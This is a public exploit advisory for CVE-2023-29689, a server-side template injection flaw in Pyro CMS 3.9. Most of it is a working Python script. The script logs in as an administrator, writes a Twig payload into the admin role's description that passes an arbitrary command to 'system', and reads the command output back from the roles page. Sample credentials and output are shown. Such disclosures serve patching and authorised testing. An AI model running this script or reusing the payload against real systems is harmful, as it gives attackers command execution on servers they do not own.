Authored by Daniel Barros

Pyro CMS version 3.9 suffers from a server-side template injection vulnerability.

advisories | CVE-2023-29689

# Exploit Title: Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security
# Date: 03/08/2023
# Vendor: https://pyrocms.com/
# Software Link: https://pyrocms.com/documentation/pyrocms/3.9/getting-started/installation
# Vulnerable Version(s): 3.9
# CVE: CVE-2023-29689
# Notes: You need a user who has access to /admin privilege

# Example Usage:
# First, run the script: python3 CVE-2023-29689.py
# Please follow these steps:
# 1. Enter the application URL: http://localhost:8000
# 2. Enter the email for authentication: [email protected]
# 3. Enter the password: Admin@@2023
# 4. Enter the command to be executed: id
# Result of command execution:
# uid=1000(cupcake) gid=1000(cupcake) groups=1000(cupcake)

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin

def login(session, url, email, password):
login_url = urljoin(url, '/admin/login')
response = session.get(login_url)
soup = BeautifulSoup(response.content, 'html.parser')
token = soup.find('input', {'name': '_token'})['value']

payload = {
'_token': token,
'email': email,
'password': password
}

session.post(login_url, data=payload)

# Function to edit role 1 and extract the Description of the Admin user.
def edit_role_and_extract_description(session, url, command):
edit_role_url = urljoin(url, '/admin/users/roles/edit/1')
response = session.get(edit_role_url)
soup = BeautifulSoup(response.content, 'html.parser')
token = soup.find('input', {'name': '_token'})['value']

payload = {
'_token': token,
'name_en': 'Admin',
'slug': 'admin',
'description_en': f'{{{{["{command}"]|map("system")|join}}}}',
'action': 'save_exit'
}

session.post(edit_role_url, data=payload)

# Extract the updated Description from role 1.
response = session.get(urljoin(url, '/admin/users/roles'))
soup = BeautifulSoup(response.content, 'html.parser')
description = soup.find('td', {'data-title': 'Description'}).text.strip()

return description

def main():
url = input("Enter the application URL: ")
email = input("Enter the email for authentication: ")
password = input("Enter the password : ")
command = input("Enter the command to be executed: ")

with requests.Session() as session:
login(session, url, email, password)
description = edit_role_and_extract_description(session, url, command)
print("nResult of command execution:")
print(description)

if __name__ == "__main__":
main()